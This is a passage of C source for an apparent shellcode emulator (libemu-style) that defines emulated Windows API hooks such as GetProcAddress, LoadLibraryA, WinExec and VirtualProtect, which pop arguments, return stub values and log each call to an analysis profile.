} int32_t env_w32_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* VOID WINAPI ExitProcess( UINT uExitCode ); */ uint32_t exitcode; POP_DWORD(c, &exitcode); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, exitcode); }else { returnvalue = 0; } if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "ExitProcess"); emu_profile_argument_add_int(env->profile, "UINT", "uExitCode", exitcode); emu_profile_function_returnvalue_int_set(env->profile, "void", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* VOID ExitThread( DWORD dwExitCode ); */ uint32_t exitcode; POP_DWORD(c, &exitcode); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, exitcode); }else { returnvalue = 0; } if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "ExitThread"); emu_profile_argument_add_int(env->profile, "DWORD", "dwExitCode", exitcode); emu_profile_function_returnvalue_int_set(env->profile, "void", returnvalue); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetFileSize(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_memory *mem = emu_memory_get(env->emu); uint32_t eip_save; uint32_t hFile; uint32_t lpFileSizeHigh; /* * DWORD WINAPI GetFileSize( * __in HANDLE hFile, * __out_opt LPDWORD lpFileSizeHigh * ); */ POP_DWORD(c, &eip_save); POP_DWORD(c, &hFile); POP_DWORD(c, &lpFileSizeHigh); uint32_t filesize = 4711; if( lpFileSizeHigh != 0 ) emu_memory_write_dword(mem, lpFileSizeHigh, 0); emu_cpu_reg32_set(c, eax, filesize); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "GetFileSize"); emu_profile_argument_add_int(env->profile, "HANDLE", "hFile", hFile); emu_profile_argument_add_ptr(env->profile, "LPDWORD", "lpFileSizeHigh", lpFileSizeHigh); if( lpFileSizeHigh != 0 ) emu_profile_argument_add_int(env->profile, "", "", 0); else emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "DWORD WINAPI", c->reg[eax]); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetModuleHandleA(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; uint32_t filename; /* * HMODULE WINAPI GetModuleHandle( __in_opt LPCTSTR lpModuleName); */ POP_DWORD(c, &eip_save); POP_DWORD(c, &filename); struct emu_memory *mem = emu_memory_get(env->emu); struct emu_string *s_filename = emu_string_new(); emu_memory_read_string(mem, filename, s_filename, 256); char *dllname = emu_string_char(s_filename); int i=0; int found_dll = 0; emu_cpu_reg32_set(c, eax, 0); //default = fail for( i=0; env->env.win->loaded_dlls[i] != NULL; i++ ) { if( strncasecmp(env->env.win->loaded_dlls[i]->dllname, dllname, strlen(env->env.win->loaded_dlls[i]->dllname)) == 0 ) { emu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr); found_dll = 1; break; } } if( found_dll == 0 ) { if( emu_env_w32_load_dll(env->env.win, dllname) == 0 ) { emu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr); found_dll = 1; } } if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "GetModuleHandleA"); emu_profile_argument_add_ptr(env->profile, "LPCSTR", "lpModuleName", filename); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(s_filename)); emu_profile_function_returnvalue_ptr_set(env->profile, "HMODULE WINAPI", c->reg[eax]); emu_profile_argument_add_none(env->profile); } emu_string_free(s_filename); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetVersion(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* DWORD WINAPI GetVersion(void); */ uint32_t version = 0xa280105; emu_cpu_reg32_set(c, eax, version); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "GetVersion"); emu_profile_function_returnvalue_int_set(env->profile, "DWORD WINAPI", version); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetProcAddress(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_memory *mem = emu_memory_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* FFARPROC WINAPI GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); */ uint32_t module;// = emu_cpu_reg32_get(c, esp); POP_DWORD(c, &module); // printf("module ptr is %08x\n", module); uint32_t p_procname; POP_DWORD(c, &p_procname); struct emu_string *procname = emu_string_new(); if( p_procname >= 0x1000 ) emu_memory_read_string(mem, p_procname, procname, 256); logDebug(env->emu, "procname name is '%s'\n", emu_string_char(procname)); int i; for ( i=0; env->env.win->loaded_dlls[i] != NULL; i++ ) { if( env->env.win->loaded_dlls[i]->baseaddr == module ) { logDebug(env->emu, "dll is %s %08x %08x \n", env->env.win->loaded_dlls[i]->dllname, module, env->env.win->loaded_dlls[i]->baseaddr); struct emu_env_w32_dll *dll = env->env.win->loaded_dlls[i]; if( emu_string_char(procname) != NULL && p_procname >= 0x1000 ) { /* 2nd argument is a string */ struct emu_hashtable_item *ehi = emu_hashtable_search(dll->exports_by_fnname, (void *)emu_string_char(procname)); if ( ehi != NULL ) { struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value; logDebug(env->emu, "found %s at addr %08x\n",emu_string_char(procname), dll->baseaddr + hook->hook.win->virtualaddr ); emu_cpu_reg32_set(c, eax, dll->baseaddr + hook->hook.win->virtualaddr); } }else { /* 2nd argument is ordinal */ int j; for( j=0;dll->exportx[j].fnname != NULL; j++ ) { struct emu_env_w32_dll_export *ex = &dll->exportx[j]; if( ex->ordinal == p_procname ) { struct emu_env_hook *hook = &dll->hooks[j]; // emu_string_append_char(procname, ex->fnname); logDebug(env->emu, "found %s for ordinal %i at addr %08x\n",ex->fnname, p_procname, dll->baseaddr + hook->hook.win->virtualaddr ); emu_cpu_reg32_set(c, eax, dll->baseaddr + hook->hook.win->virtualaddr); } } } break; } } if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "GetProcAddress"); emu_profile_argument_add_ptr(env->profile, "HMODULE", "hModule", module); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPCSTR", "lpProcName", p_procname); if( emu_string_char(procname) != NULL ) emu_profile_argument_add_string(env->profile, "", "", emu_string_char(procname)); else emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_ptr_set(env->profile, "FARPROC WINAPI", c->reg[eax]); emu_profile_argument_add_none(env->profile); } emu_string_free(procname); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetSystemDirectoryA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* UINT GetSystemDirectory( LPTSTR lpBuffer, UINT uSize ); */ uint32_t p_buffer; POP_DWORD(c, &p_buffer); uint32_t size; POP_DWORD(c, &size); static char *sysdir = "c:\\WINDOWS\\system32"; emu_memory_write_block(emu_memory_get(env->emu), p_buffer, sysdir, 20); emu_cpu_reg32_set(c, eax, 19); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "GetSystemDirectory"); emu_profile_argument_add_ptr(env->profile, "LPTSTR", "lpBuffer", p_buffer); emu_profile_argument_add_string(env->profile, "", "", sysdir); emu_profile_argument_add_int(env->profile, "UINT", "uSize", size); emu_profile_function_returnvalue_int_set(env->profile, "UINT", 19); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetTempPathA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* DWORD WINAPI GetTempPath( __in DWORD nBufferLength, __out LPTSTR lpBuffer ); */ uint32_t bufferlength; POP_DWORD(c, &bufferlength); uint32_t p_buffer; POP_DWORD(c, &p_buffer); static char *path = "c:\\tmp\\"; emu_memory_write_block(emu_memory_get(env->emu), p_buffer, path, 8); emu_cpu_reg32_set(c, eax, 7); if (env->profile != NULL) { emu_profile_function_add(env->profile, "GetTempPathA"); emu_profile_argument_add_int(env->profile, "DWORD", "nBufferLength", bufferlength); emu_profile_argument_add_ptr(env->profile, "LPTSTR", "lpBuffer", p_buffer); emu_profile_argument_add_string(env->profile, "", "", path); emu_profile_function_returnvalue_int_set(env->profile, "DWORD", 7); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_GetTickCount(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); uint32_t tickcount = rand(); emu_cpu_reg32_set(c, eax, tickcount); if (env->profile != NULL) { emu_profile_function_add(env->profile, "GetTickCount"); emu_profile_function_returnvalue_int_set(env->profile, "int", tickcount); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook__hwrite(struct emu_env *env, struct emu_env_hook *hook) { return env_w32_hook__lwrite(env, hook); } int32_t env_w32_hook__lcreat(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* LONG _lcreat( LPCSTR lpszFileName, int fnAttribute ); */ uint32_t p_filename; POP_DWORD(c, &p_filename); struct emu_string *filename = emu_string_new(); emu_memory_read_string(emu_memory_get(env->emu), p_filename, filename, 256); uint32_t fnAttribute; POP_DWORD(c, &fnAttribute); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, emu_string_char(filename), fnAttribute); }else { returnvalue = 4711; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "_lcreat"); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpFileName", p_filename); emu_profile_argument_add_string(env->profile,"", "", emu_string_char(filename)); emu_profile_argument_add_int(env->profile, "int", "fnAttribute", fnAttribute); emu_profile_function_returnvalue_int_set(env->profile, "LONG", returnvalue); } emu_string_free(filename); emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook__lclose(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* HFILE _lclose( HFILE hFile // handle to file to close ); */ uint32_t file; POP_DWORD(c, &file); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, file); }else { returnvalue = 0; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "_lclose"); emu_profile_argument_add_int(env->profile, "HFile", "hFile", file); emu_profile_function_returnvalue_int_set(env->profile, "HFILE", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook__lwrite(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* LONG _lwrite( HFile hFile, LPCSTR lpBuffer, UINT cbWrite ); */ uint32_t file; POP_DWORD(c, &file); uint32_t p_buffer; POP_DWORD(c, &p_buffer); uint32_t size; POP_DWORD(c, &size); uint32_t returnvalue; unsigned char *buffer = NULL; if( size < 1*1024*1024 ) { buffer = malloc(size); emu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, size); if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, file, buffer, size); }else { returnvalue = size; } }else { returnvalue = -1; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "_lwrite"); emu_profile_argument_add_int(env->profile, "HFile", "hFile", file); emu_profile_argument_add_ptr(env->profile, "LPCSTR", "lpBuffer", p_buffer); if( size < 1*1024*1024 ) emu_profile_argument_add_bytea(env->profile, "", "", buffer, size); else emu_profile_argument_add_bytea(env->profile, "", "", buffer, 0); emu_profile_argument_add_int(env->profile, "UINT", "cbWrite", size); emu_profile_function_returnvalue_int_set(env->profile, "LONG", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); if( buffer ) free(buffer); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_LoadLibrayA(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* HMODULE WINAPI LoadLibrary(LPCTSTR lpFileName); */ uint32_t dllname_ptr;// = emu_cpu_reg32_get(c, esp); POP_DWORD(c, &dllname_ptr); struct emu_string *dllstr = emu_string_new(); struct emu_memory *mem = emu_memory_get(env->emu); emu_memory_read_string(mem, dllname_ptr, dllstr, 256); char *dllname = emu_string_char(dllstr); int i=0; int found_dll = 0; if ( dllname != NULL ) { for (i=0; env->env.win->loaded_dlls[i] != NULL; i++) { if (strncasecmp(env->env.win->loaded_dlls[i]->dllname, dllname, strlen(env->env.win->loaded_dlls[i]->dllname)) == 0) { logDebug(env->emu, "found dll %s, baseaddr is %08x \n",env->env.win->loaded_dlls[i]->dllname,env->env.win->loaded_dlls[i]->baseaddr); emu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr); found_dll = 1; break; } } if (found_dll == 0) { if (emu_env_w32_load_dll(env->env.win, dllname) == 0) { emu_cpu_reg32_set(c, eax, env->env.win->loaded_dlls[i]->baseaddr); found_dll = 1; } else { logDebug(env->emu, "error could not find %s\n", dllname); emu_cpu_reg32_set(c, eax, 0x0); } } } if (env->profile != NULL) { emu_profile_function_add(env->profile, "LoadLibraryA"); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpFileName", dllname_ptr); if ( dllname != NULL ) emu_profile_argument_add_string(env->profile, "", "", dllname); else emu_profile_argument_add_none(env->profile); if (found_dll == 1) { emu_profile_function_returnvalue_ptr_set(env->profile, "HMODULE", c->reg[eax]); emu_profile_argument_add_none(env->profile); }else { emu_profile_function_returnvalue_ptr_set(env->profile, "HMODULE", 0x0); emu_profile_argument_add_none(env->profile); } } emu_string_free(dllstr); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_malloc(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* void *malloc( size_t size ); */ uint32_t size; POP_DWORD(c, &size); PUSH_DWORD(c, size); logDebug(env->emu, "malloc %i bytes\n", size); uint32_t addr = 0; if( size <= 1*1024*1024 ) { if (emu_memory_alloc(c->mem, &addr, size) == -1) emu_cpu_reg32_set(c, eax, 0); else emu_cpu_reg32_set(c, eax, addr); } if (env->profile != NULL) { emu_profile_function_add(env->profile, "malloc"); emu_profile_argument_add_int(env->profile, "size_t", "size", size); emu_profile_function_returnvalue_int_set(env->profile, "void *", addr); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_memset(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* void *memset( void* dest, int c, size_t count ); */ uint32_t dest; POP_DWORD(c, &dest); uint32_t writeme; POP_DWORD(c, &writeme); uint32_t size; POP_DWORD(c, &size); PUSH_DWORD(c, size); PUSH_DWORD(c, writeme); PUSH_DWORD(c, dest); logDebug(env->emu, "memset(0x%08x, 0x%08x, %i)\n", dest, writeme, size); emu_cpu_reg32_set(c, eax, dest); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_MapViewOfFile(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*LPVOID WINAPI MapViewOfFile( __in HANDLE hFileMappingObject, __in DWORD dwDesiredAccess, __in DWORD dwFileOffsetHigh, __in DWORD dwFileOffsetLow, __in SIZE_T dwNumberOfBytesToMap );*/ uint32_t hFileMappingObject; POP_DWORD(c, &hFileMappingObject); uint32_t dwDesiredAccess; POP_DWORD(c, &dwDesiredAccess); uint32_t dwFileOffsetHigh; POP_DWORD(c, &dwFileOffsetHigh); uint32_t dwFileOffsetLow; POP_DWORD(c, &dwFileOffsetLow); uint32_t dwNumberOfBytesToMap; POP_DWORD(c, &dwNumberOfBytesToMap); uint32_t addr; emu_memory_alloc(c->mem, &addr, 4711); if (env->profile != NULL) { emu_profile_function_add(env->profile, "MapViewOfFile"); emu_profile_argument_add_int(env->profile, "HANDLE", "hFileMappingObject ",hFileMappingObject); emu_profile_argument_add_int(env->profile, "DWORD", "dwDesiredAccess ",dwDesiredAccess); emu_profile_argument_add_int(env->profile, "DWORD", "dwFileOffsetHigh ",dwFileOffsetHigh); emu_profile_argument_add_int(env->profile, "DWORD", "dwFileOffsetLow ",dwFileOffsetLow); emu_profile_argument_add_int(env->profile, "SIZE_T", "dwNumberOfBytesToMap",dwNumberOfBytesToMap); emu_profile_function_returnvalue_int_set(env->profile, "LPVOID WINAPI", addr); } emu_cpu_reg32_set(c, eax, addr); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_Sleep(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*VOID WINAPI Sleep( __in DWORD dwMilliseconds ); */ uint32_t dwMilliseconds; POP_DWORD(c, &dwMilliseconds); emu_cpu_reg32_set(c, eax, 0); if (env->profile != NULL) { emu_profile_function_add(env->profile, "Sleep"); emu_profile_argument_add_int(env->profile, "DWORD", "dwMilliseconds", dwMilliseconds); emu_profile_function_returnvalue_int_set(env->profile, "void", 0); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_UnmapViewOfFile(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* * BOOL WINAPI UnmapViewOfFile( * __in LPCVOID lpBaseAddress * ); */ uint32_t lpBaseAddress; POP_DWORD(c, &lpBaseAddress); emu_cpu_reg32_set(c, eax, 1); if (env->profile != NULL) { emu_profile_function_add(env->profile, "UnmapViewOfFile"); emu_profile_argument_add_ptr(env->profile, "LPCVOID", "lpBaseAddress", lpBaseAddress); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "BOOL WINAPI", 1); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_SetFilePointer(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* * DWORD WINAPI SetFilePointer( * __in HANDLE hFile, * __in LONG lDistanceToMove, * __inout_opt PLONG lpDistanceToMoveHigh, * __in DWORD dwMoveMethod *); */ uint32_t hFile; uint32_t lDistanceToMove; uint32_t lpDistanceToMoveHigh; uint32_t dwMoveMethod; POP_DWORD(c, &hFile); POP_DWORD(c, &lDistanceToMove); POP_DWORD(c, &lpDistanceToMoveHigh); POP_DWORD(c, &dwMoveMethod); emu_cpu_reg32_set(c, eax, lDistanceToMove); if (env->profile != NULL) { emu_profile_function_add(env->profile, "SetFilePointer"); emu_profile_argument_add_int(env->profile, "HANDLE", "hFile", hFile); emu_profile_argument_add_int(env->profile, "LONG", "lDistanceToMove", lDistanceToMove); emu_profile_argument_add_ptr(env->profile, "PLONG", "lpDistanceToMoveHigh", lpDistanceToMoveHigh); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "DWORD WINAPI", lDistanceToMove); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_SetUnhandledExceptionFilter(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter( LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter );*/ uint32_t lpfilter; POP_DWORD(c, &lpfilter); logDebug(env->emu, "Exception filter %08x\n", lpfilter); emu_cpu_reg32_set(c, eax, 0x7C81CDDA); if (env->profile != NULL) { emu_profile_function_add(env->profile, "SetUnhandledExceptionFilter"); emu_profile_argument_add_ptr(env->profile, "LPTOP_LEVEL_EXCEPTION_FILTER", "lpTopLevelExceptionFilter", lpfilter); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_ptr_set(env->profile, "LPTOP_LEVEL_EXCEPTION_FILTER", 0x7C81CDDA); emu_profile_argument_add_none(env->profile); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* DWORD WINAPI WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ); */ uint32_t handle; POP_DWORD(c, &handle); uint32_t msecs; POP_DWORD(c, &msecs); logDebug(env->emu, "WaitForSingleObject(hHandle=%i, dwMilliseconds=%i)\n", handle, msecs); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, handle, msecs); }else { returnvalue = 0; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "WaitForSingleObject"); emu_profile_argument_add_int(env->profile, "HANDLE", "hHandle", handle); emu_profile_argument_add_int(env->profile, "DWORD", "dwMilliseconds", msecs); emu_profile_function_returnvalue_int_set(env->profile, "DWORD", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_WinExec(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* UINT WINAPI WinExec( LPCSTR lpCmdLine, UINT uCmdShow ); */ uint32_t p_cmdline; POP_DWORD(c, &p_cmdline); struct emu_string *cmdstr = emu_string_new(); emu_memory_read_string(emu_memory_get(env->emu), p_cmdline, cmdstr, 256); uint32_t show; POP_DWORD(c, &show); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, emu_string_char(cmdstr), show); }else { returnvalue = 32; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "WinExec"); emu_profile_argument_add_ptr(env->profile, "LPCSTR", "lpCmdLine", p_cmdline); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(cmdstr)); emu_profile_argument_add_int(env->profile, "UINT", "uCmdShow", show); emu_profile_function_returnvalue_int_set(env->profile, "UINT WINAPI", returnvalue); } emu_string_free(cmdstr); emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); */ uint32_t file; POP_DWORD(c, &file); uint32_t p_buffer; POP_DWORD(c, &p_buffer); uint32_t bytestowrite; POP_DWORD(c, &bytestowrite); unsigned char *buffer = malloc(bytestowrite); emu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, bytestowrite); uint32_t p_byteswritten; POP_DWORD(c, &p_byteswritten); uint32_t p_overlapped; POP_DWORD(c, &p_overlapped); emu_memory_write_dword(emu_memory_get(env->emu), p_byteswritten, bytestowrite); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, file, buffer, bytestowrite, p_byteswritten, p_overlapped); }else { returnvalue = 1; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "WriteFile"); emu_profile_argument_add_int(env->profile, "HANDLE", "hFile", file); emu_profile_argument_add_ptr(env->profile, "LPCVOID", "lpBuffer", p_buffer); emu_profile_argument_add_bytea(env->profile, "", "", buffer, bytestowrite); emu_profile_argument_add_int(env->profile, "DWORD", "nNumberOfBytesToWrite", bytestowrite); emu_profile_argument_add_ptr(env->profile, "LPDWORD", "lpNumberOfBytesWritten", p_byteswritten); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPOVERLAPPED", "lpOverlapped", p_overlapped); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); free(buffer); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_VirtualProtect(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* * BOOL VirtualProtect( * LPVOID lpAddress, * DWORD dwSize, * DWORD flNewProtect, * PDWORD lpflOldProtect *); */ uint32_t p_address; POP_DWORD(c, &p_address); uint32_t size; POP_DWORD(c, &size); uint32_t newprotect; POP_DWORD(c, &newprotect); uint32_t oldprotect; POP_DWORD(c, &oldprotect); uint32_t returnvalue; if( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, p_address, size, newprotect, oldprotect); } else { returnvalue = 1; } if( env->profile != NULL ) { emu_profile_function_add(env->profile, "VirtualProtect"); emu_profile_argument_add_ptr(env->profile, "LPCVOID", "lpAddress", p_address); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "DWORD" , "dwSize", size); emu_profile_argument_add_int(env->profile, "DWORD" , "flNewProtect", newprotect); emu_profile_argument_add_int(env->profile, "PDWORD" , "lpflOldProtectt", newprotect); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_VirtualProtectEx(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* * BOOL VirtualProtectEx( * HANDLE hProcess, * LPVOID lpAddress, * SIZE_T dwSize, * DWORD flNewProtect, * PDWORD lpflOldProtect *); */ uint32_t h_process; POP_DWORD(c, &h_process); uint32_t p_address; POP_DWORD(c, &p_address); uint32_t size; POP_DWORD(c, &size); uint32_t newprotect; POP_DWORD(c, &newprotect); uint32_t oldprotect; POP_DWORD(c, &oldprotect); uint32_t returnvalue; if( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, p_address, size, newprotect, oldprotect); } else { returnvalue = 1; } if( env->profile != NULL ) { emu_profile_function_add(env->profile, "VirtualProtectEx"); emu_profile_argument_add_ptr(env->profile, "HANDLE" , "hProcess", h_process); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPCVOID", "lpAddress", p_address); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "DWORD" , "dwSize", 